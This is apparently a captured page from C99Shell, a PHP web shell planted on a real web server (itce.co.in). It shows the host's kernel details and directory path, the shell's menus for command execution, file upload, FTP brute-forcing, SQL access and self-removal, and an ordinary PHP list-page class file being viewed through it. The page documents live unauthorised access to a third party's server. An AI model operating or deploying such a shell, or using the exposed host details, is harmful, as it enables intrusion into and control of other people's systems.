!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: nginx/1.24.0. PHP/7.3.32 

uname -a: Linux ip-172-31-28-255.ec2.internal 6.1.159-181.297.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC
Mon Dec 22 22:31:59 UTC 2025 x86_64
 

 

Safe-mode: OFF (not secure)

/www/wwwroot/itce.co.in/data/classes/   drwxr-xr-x
Free 30.74 GB of 49.93 GB (61.58%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     listpage_master.php (3.26 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * Class for list page with mode simple
 *
 */
class ListPage_Master extends ListPage 
{
    public 
$pdfJson false;
    
/**
     * Constructor, set initial params
     *
     * @param array $params
     */    
    
function __construct(&$params
    {
        
// call parent constructor
        
parent::__construct($params);    
        
$this->masterPageType $params["masterPageType"];
    }
    
/**
     * Add common assign for simple mode on list page
     */    
    
function commonAssign() 
    {
        
parent::commonAssign();
    }
    
    protected function 
createOrderByObject() {
        
//    don't read order by info from request
        
$this->orderClause OrderClause::createFromPage$thisfalse );
    }
    
    public function 
getMasterHeading() 
    {
        
$this->xt->assign"masterlist_title"true );
        return 
$this->xt->fetch_loaded"masterlist_title" );
    }
    
    public function 
preparePage() 
    {
        if( !
$this->masterRecordData || !count($this->masterRecordData) )
            return;
        
        
$this->xt->assign("pagetitlelabel"$this->getPageTitle$this->pageTypeGoodFieldName($this->tName), $this->masterRecordData ));    

        
$tKeys $this->pSet->getTableKeys();
        
$keylink "";

                
        for(
$i 0$i count($tKeys); $i ++) {
            
$keylink.= "&key".($i 1)."=".runner_htmlspecialchars(rawurlencode(@$this->masterRecordData[$tKeys[$i]]));
        }
        
        
$fields $this->pSet->getPageFields();
        
$fields array_merge$fields$tKeys);
        foreach( 
$fields as $f )
        {
            
$fieldClassStr $this->fieldClass($f);
            
$this->xt->assignGoodFieldname$f ) . "_fieldheader"true );

            
$value $this->showDBValue$f$this->masterRecordData$keylink);

            if( 
$this->pdfJsonMode() )
                
$this->xt->assignGoodFieldName$f ) . "_pdfvalue"$value );
            else 
            {
                
$wrappedValue "<span class='"$fieldClassStr ."'>".$value."</span>";
                
$this->xt->assignGoodFieldName$f ) . "_mastervalue"$wrappedValue );
                
$this->xt->assignGoodFieldName$f ) . "_value"$wrappedValue );
            }

            
$this->xt->assignGoodFieldName$f ) . "_class"$fieldClassStr); // add class for field header as field value
            //    page designer layout
            
$this->xt->assignGoodFieldName$f ) . "_fieldcolumn"true );
            
$this->xt->assignGoodFieldName$f ) . "_fieldheadercolumn"true );
        }
        
        
$this->xt->assign("grid_header"true );
        
$this->xt->assign("grid_row"true );
        
$this->xt->assign("grid_record"true );
        
$this->xt->assign("grid_vrecord"true );
            
        if( 
$this->pageLayout )
            
$this->xt->assign("pageattrs"'class="'.$this->pageLayout->style." page-".$this->pageLayout->name.'"');
        
        
/*if( !$this->pdfJsonMode() ) 
            $this->xt->load_template( GetTemplateName($this->shortTableName, "master".$this->masterPageType) );*/                
    
}
    
    public function 
showMaster$params 
    {
        if( !
$this->masterRecordData || !count($this->masterRecordData) )
            return;
        
        
$this->xt->assign"masterlist_title"false );
        
        if( 
$this->pdfJsonMode() ) 
        {
            
$this->xt->assign("body"true );
            
$this->xt->assign("embedded_grid"true );

            
$this->xt->load_templateJSON$this->templatefile);
            echo  
$this->xt->fetch_loadedJSON("body");
        }
        else
        {
            
$this->xt->load_template$this->templatefile );
            
$this->xt->display_loaded();
        }
    }

    function 
pdfJsonMode() 
    {
        return 
$this->pdfJson;
    }
}

?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.002 ]--